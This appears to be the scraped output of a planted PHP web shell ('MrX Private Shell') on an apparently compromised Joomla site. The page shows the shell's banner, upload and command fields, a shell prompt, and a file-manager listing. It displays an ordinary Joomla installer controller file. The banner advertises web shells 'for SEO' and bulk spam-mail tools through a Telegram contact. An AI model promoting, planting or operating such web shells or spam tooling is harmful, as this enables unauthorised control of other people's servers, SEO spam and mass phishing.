__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_installer
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Installer\Administrator\Controller;

use Joomla\CMS\Application\CMSApplication;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Controller\BaseController;
use Joomla\CMS\MVC\Factory\MVCFactoryInterface;
use Joomla\CMS\Response\JsonResponse;
use Joomla\CMS\Router\Route;
use Joomla\Component\Installer\Administrator\Model\ManageModel;
use Joomla\Input\Input;
use Joomla\Utilities\ArrayHelper;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Installer Manage Controller
 *
 * @since  1.6
 */
class ManageController extends BaseController
{
    /**
     * Constructor.
     *
     * @param   array                $config   An optional associative array of configuration settings.
     * @param   MVCFactoryInterface  $factory  The factory.
     * @param   CMSApplication       $app      The Application for the dispatcher
     * @param   Input                $input    Input
     *
     * @since  1.6
     */
    public function __construct($config = [], MVCFactoryInterface $factory = null, $app = null, $input = null)
    {
        parent::__construct($config, $factory, $app, $input);

        $this->registerTask('unpublish', 'publish');
        $this->registerTask('publish', 'publish');
    }

    /**
     * Enable/Disable an extension (if supported).
     *
     * @return  void
     *
     * @throws  \Exception
     *
     * @since   1.6
     */
    public function publish()
    {
        // Check for request forgeries.
        $this->checkToken();

        $ids    = (array) $this->input->get('cid', [], 'int');
        $values = ['publish' => 1, 'unpublish' => 0];
        $task   = $this->getTask();
        $value  = ArrayHelper::getValue($values, $task, 0, 'int');

        // Remove zero values resulting from input filter
        $ids = array_filter($ids);

        if (empty($ids)) {
            $this->setMessage(Text::_('COM_INSTALLER_ERROR_NO_EXTENSIONS_SELECTED'), 'warning');
        } else {
            /** @var ManageModel $model */
            $model = $this->getModel('manage');

            // Change the state of the records.
            if (!$model->publish($ids, $value)) {
                $this->setMessage(implode('<br>', $model->getErrors()), 'warning');
            } else {
                if ($value == 1) {
                    $ntext = 'COM_INSTALLER_N_EXTENSIONS_PUBLISHED';
                } else {
                    $ntext = 'COM_INSTALLER_N_EXTENSIONS_UNPUBLISHED';
                }

                $this->setMessage(Text::plural($ntext, count($ids)));
            }
        }

        $this->setRedirect(Route::_('index.php?option=com_installer&view=manage', false));
    }

    /**
     * Remove an extension (Uninstall).
     *
     * @return  void
     *
     * @throws  \Exception
     *
     * @since   1.5
     */
    public function remove()
    {
        // Check for request forgeries.
        $this->checkToken();

        $eid = (array) $this->input->get('cid', [], 'int');

        // Remove zero values resulting from input filter
        $eid = array_filter($eid);

        if (!empty($eid)) {
            /** @var ManageModel $model */
            $model = $this->getModel('manage');

            $model->remove($eid);
        }

        $this->setRedirect(Route::_('index.php?option=com_installer&view=manage', false));
    }

    /**
     * Refreshes the cached metadata about an extension.
     *
     * Useful for debugging and testing purposes when the XML file might change.
     *
     * @return  void
     *
     * @since   1.6
     */
    public function refresh()
    {
        // Check for request forgeries.
        $this->checkToken();

        $uid = (array) $this->input->get('cid', [], 'int');

        // Remove zero values resulting from input filter
        $uid = array_filter($uid);

        if (!empty($uid)) {
            /** @var ManageModel $model */
            $model = $this->getModel('manage');

            $model->refresh($uid);
        }

        $this->setRedirect(Route::_('index.php?option=com_installer&view=manage', false));
    }

    /**
     * Load the changelog for a given extension.
     *
     * @return  void
     *
     * @since   4.0.0
     */
    public function loadChangelog()
    {
        /** @var ManageModel $model */
        $model = $this->getModel('manage');

        $eid    = $this->input->get('eid', 0, 'int');
        $source = $this->input->get('source', 'manage', 'string');

        if (!$eid) {
            return;
        }

        $output = $model->loadChangelog($eid, $source);

        echo (new JsonResponse($output));
    }
}

Filemanager

Name Type Size Permission Actions
DatabaseController.php File 2.73 KB 0664
DiscoverController.php File 2.58 KB 0664
DisplayController.php File 2.93 KB 0664
InstallController.php File 3.33 KB 0664
ManageController.php File 4.78 KB 0664
UpdateController.php File 5.98 KB 0664
UpdatesiteController.php File 580 B 0664
UpdatesitesController.php File 4.71 KB 0664
Filemanager